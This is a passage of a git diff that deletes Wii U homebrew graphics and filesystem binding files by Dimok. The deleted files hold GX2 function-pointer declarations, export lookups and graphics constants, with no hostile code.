*asyncParams); - -extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - -extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); -extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); -extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -extern int (* FSBindMount)(void *pClient, void *pCmd, char *source, char *target, int error); -extern int (* FSBindUnmount)(void *pClient, void *pCmd, char *target, int error); - -extern int (* FSMakeQuota)( void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); -extern int (* FSMakeQuotaAsync)(void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); - - -#ifdef __cplusplus -} -#endif - -#endif // __FS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_functions.c b/installer/src/dynamic_libs/gx2_functions.c deleted file mode 100644 index a34807e..0000000 --- a/installer/src/dynamic_libs/gx2_functions.c +++ /dev/null @@ -1,173 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "gx2_types.h" - -unsigned int gx2_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, GX2Init, u32 * init_attribs); -EXPORT_DECL(void, GX2Shutdown, void); -EXPORT_DECL(void, GX2Flush, void); -EXPORT_DECL(s32, GX2GetMainCoreId, void) ; -EXPORT_DECL(s32, GX2DrawDone, void); -EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); -EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); -EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -EXPORT_DECL(void, GX2SetClearDepthStencil, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); -EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); -EXPORT_DECL(void, GX2SwapScanBuffers, void); -EXPORT_DECL(void, GX2SetTVEnable, s32 enable); -EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); -EXPORT_DECL(u32, GX2GetSwapInterval, void); -EXPORT_DECL(void, GX2WaitForVsync, void); -EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); -EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); -EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); -EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); -EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); -EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); -EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); -EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); -EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); -EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); -EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); -EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); -EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); -EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -EXPORT_DECL(void, GX2SetLineWidth, f32 width); -EXPORT_DECL(void, GX2SetTVGamma, f32 val); -EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); -EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); -EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); -EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); -EXPORT_DECL(void, GX2CopySurface, GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); - -EXPORT_DECL(void, GX2ClearBuffersEx, GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); - -void InitAcquireGX2(void) -{ - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); -} - -void InitGX2FunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquireGX2(); - - OS_FIND_EXPORT(gx2_handle, GX2Init); - OS_FIND_EXPORT(gx2_handle, GX2Shutdown); - OS_FIND_EXPORT(gx2_handle, GX2Flush); - OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); - OS_FIND_EXPORT(gx2_handle, GX2DrawDone); - OS_FIND_EXPORT(gx2_handle, GX2ClearColor); - OS_FIND_EXPORT(gx2_handle, GX2SetViewport); - OS_FIND_EXPORT(gx2_handle, GX2SetScissor); - OS_FIND_EXPORT(gx2_handle, GX2SetContextState); - OS_FIND_EXPORT(gx2_handle, GX2DrawEx); - OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); - OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); - OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); - OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); - OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); - OS_FIND_EXPORT(gx2_handle, GX2Invalidate); - OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); - OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); - OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); - OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); - OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitSampler); - OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); - OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); - OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); - OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); - OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); - OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); - OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); - OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); - OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); - OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); - OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); - OS_FIND_EXPORT(gx2_handle, GX2CopySurface); - OS_FIND_EXPORT(gx2_handle, GX2ClearBuffersEx); - OS_FIND_EXPORT(gx2_handle, GX2SetClearDepthStencil); -} diff --git a/installer/src/dynamic_libs/gx2_functions.h b/installer/src/dynamic_libs/gx2_functions.h deleted file mode 100644 index 0b06826..0000000 --- a/installer/src/dynamic_libs/gx2_functions.h +++ /dev/null @@ -1,211 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __GX2_FUNCTIONS_H_ -#define __GX2_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "gx2_types.h" - -extern unsigned int gx2_handle; - -void InitGX2FunctionPointers(void); -void InitAcquireGX2(void); - -extern void (* GX2Init)(u32 * init_attribs); -extern void (* GX2Shutdown)(void); -extern void (* GX2Flush)(void); -extern s32 (* GX2GetMainCoreId)(void) ; -extern s32 (* GX2DrawDone)(void); -extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); -extern void (* GX2SetContextState)(const GX2ContextState* state); -extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -extern void (* GX2SetClearDepthStencil)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); -extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); -extern void (* GX2SwapScanBuffers)(void); -extern void (* GX2SetTVEnable)(s32 enable); -extern void (* GX2SetSwapInterval)(u32 swap_interval); -extern u32 (* GX2GetSwapInterval)(void); -extern void (* GX2WaitForVsync)(void); -extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); -extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); -extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); -extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); -extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); -extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); -extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); -extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); -extern void (* GX2InitTextureRegs)(GX2Texture *texture); -extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); -extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); -extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); -extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -extern void (* GX2SetDRCScale)(u32 width, u32 height); -extern void (* GX2SetDRCEnable)(s32 enable); -extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); -extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -extern void (* GX2SetLineWidth)(f32 width); -extern void (* GX2SetTVGamma)(f32 val); -extern void (* GX2SetDRCGamma)(f32 val); -extern s32 (* GX2GetSystemTVScanMode)(void); -extern s32 (* GX2GetSystemDRCScanMode)(void); -extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); -extern void (* GX2CopySurface)(GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); -extern void (* GX2ClearBuffersEx)(GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); - -static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - depthBuffer->surface.dimension = dimension; - depthBuffer->surface.width = width; - depthBuffer->surface.height = height; - depthBuffer->surface.depth = depth; - depthBuffer->surface.num_mips = 1; - depthBuffer->surface.format = format; - depthBuffer->surface.aa = aa; - depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; - depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - depthBuffer->surface.swizzle = 0; - depthBuffer->view_mip = 0; - depthBuffer->view_first_slice = 0; - depthBuffer->view_slices_count = depth; - depthBuffer->clear_depth = 1.0f; - depthBuffer->clear_stencil = 0; - depthBuffer->hiZ_data = NULL; - depthBuffer->hiZ_size = 0; - GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); - GX2InitDepthBufferRegs(depthBuffer); -} - -static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - colorBuffer->surface.dimension = dimension; - colorBuffer->surface.width = width; - colorBuffer->surface.height = height; - colorBuffer->surface.depth = depth; - colorBuffer->surface.num_mips = 1; - colorBuffer->surface.format = format; - colorBuffer->surface.aa = aa; - colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; - colorBuffer->surface.image_size = 0; - colorBuffer->surface.image_data = NULL; - colorBuffer->surface.mip_size = 0; - colorBuffer->surface.mip_data = NULL; - colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - colorBuffer->surface.swizzle = 0; - colorBuffer->surface.align = 0; - colorBuffer->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - colorBuffer->surface.mip_offset[i] = 0; - colorBuffer->view_mip = 0; - colorBuffer->view_first_slice = 0; - colorBuffer->view_slices_count = depth; - colorBuffer->aux_data = NULL; - colorBuffer->aux_size = 0; - for(i = 0; i < 5; i++) - colorBuffer->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); - GX2InitColorBufferRegs(colorBuffer); -} - -static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) -{ - attr->location = location; - attr->buffer = buffer; - attr->offset = offset; - attr->format = format; - attr->index_type = 0; - attr->divisor = 0; - attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; - attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; -} - -static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) -{ - tex->surface.dimension = dimension; - tex->surface.width = width; - tex->surface.height = height; - tex->surface.depth = depth; - tex->surface.num_mips = num_mips; - tex->surface.format = format; - tex->surface.aa = GX2_AA_MODE_1X; - tex->surface.use = GX2_SURFACE_USE_TEXTURE; - tex->surface.image_size = 0; - tex->surface.image_data = NULL; - tex->surface.mip_size = 0; - tex->surface.mip_data = NULL; - tex->surface.tile = tile; - tex->surface.swizzle = 0; - tex->surface.align = 0; - tex->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - tex->surface.mip_offset[i] = 0; - tex->view_first_mip = 0; - tex->view_mips_count = num_mips; - tex->view_first_slice = 0; - tex->view_slices_count = depth; - tex->component_selector = texture_comp_selector[format & 0x3f]; - for(i = 0; i < 5; i++) - tex->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&tex->surface); - GX2InitTextureRegs(tex); -} - -#ifdef __cplusplus -} -#endif - -#endif // __GX2_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_types.h b/installer/src/dynamic_libs/gx2_types.h deleted file mode 100644 index e292318..0000000 --- a/installer/src/dynamic_libs/gx2_types.h +++ /dev/null @@ -1,699 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _GX2_TYPES_H_ -#define _GX2_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -//!----------------------------------------------------------------------------------------------------------------------- -//! Constants -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMMAND_BUFFER_SIZE 0x400000 -#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 -#define GX2_SHADER_ALIGNMENT 0x100 -#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 -#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 -#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 -#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 - -#define GX2_CONTEXT_STATE_SIZE 0xA100 - -#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC - -//!----------------------------------------------------------------------------------------------------------------------- -//! Common -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FALSE 0 -#define GX2_TRUE 1 -#define GX2_DISABLE 0 -#define GX2_ENABLE 1 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2InitAttrib -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INIT_ATTRIB_NULL 0 -#define GX2_INIT_ATTRIB_CB_BASE 1 -#define GX2_INIT_ATTRIB_CB_SIZE 2 -#define GX2_INIT_ATTRIB_ARGC 7 -#define GX2_INIT_ATTRIB_ARGV 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 compare functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMPARE_NEVER 0 -#define GX2_COMPARE_LESS 1 -#define GX2_COMPARE_EQUAL 2 -#define GX2_COMPARE_LEQUAL 3 -#define GX2_COMPARE_GREATER 4 -#define GX2_COMPARE_NOTEQUAL 5 -#define GX2_COMPARE_GEQUAL 6 -#define GX2_COMPARE_ALWAYS 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 stencil functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_STENCIL_KEEP 0 -#define GX2_STENCIL_ZERO 1 -#define GX2_STENCIL_REPLACE 2 -#define GX2_STENCIL_INCR 3 -#define GX2_STENCIL_DECR 4 -#define GX2_STENCIL_INVERT 5 -#define GX2_STENCIL_INCR_WRAP 6 -#define GX2_STENCIL_DECR_WRAP 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 logic op functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_LOGIC_OP_CLEAR 0x00 -#define GX2_LOGIC_OP_NOR 0x11 -#define GX2_LOGIC_OP_INVAND 0x22 -#define GX2_LOGIC_OP_INVCOPY 0x33 -#define GX2_LOGIC_OP_REVAND 0x44 -#define GX2_LOGIC_OP_INV 0x55 -#define GX2_LOGIC_OP_XOR 0x66 -#define GX2_LOGIC_OP_NAND 0x77 -#define GX2_LOGIC_OP_AND 0x88 -#define GX2_LOGIC_OP_EQUIV 0x99 -#define GX2_LOGIC_OP_NOOP 0xAA -#define GX2_LOGIC_OP_INVOR 0xBB -#define GX2_LOGIC_OP_COPY 0xCC -#define GX2_LOGIC_OP_REVOR 0xDD -#define GX2_LOGIC_OP_OR 0xEE -#define GX2_LOGIC_OP_SET 0xFF - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend combination functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_COMBINE_ADD 0x00 -#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 -#define GX2_BLEND_COMBINE_MIN 0x02 -#define GX2_BLEND_COMBINE_MAX 0x03 -#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_ZERO 0x00 -#define GX2_BLEND_ONE 0x01 -#define GX2_BLEND_SRC_ALPHA 0x04 -#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 render targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_RENDER_TARGET_0 0 -#define GX2_RENDER_TARGET_1 1 -#define GX2_RENDER_TARGET_2 2 -#define GX2_RENDER_TARGET_3 3 -#define GX2_RENDER_TARGET_4 4 -#define GX2_RENDER_TARGET_5 5 -#define GX2_RENDER_TARGET_6 6 -#define GX2_RENDER_TARGET_7 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 cull modes 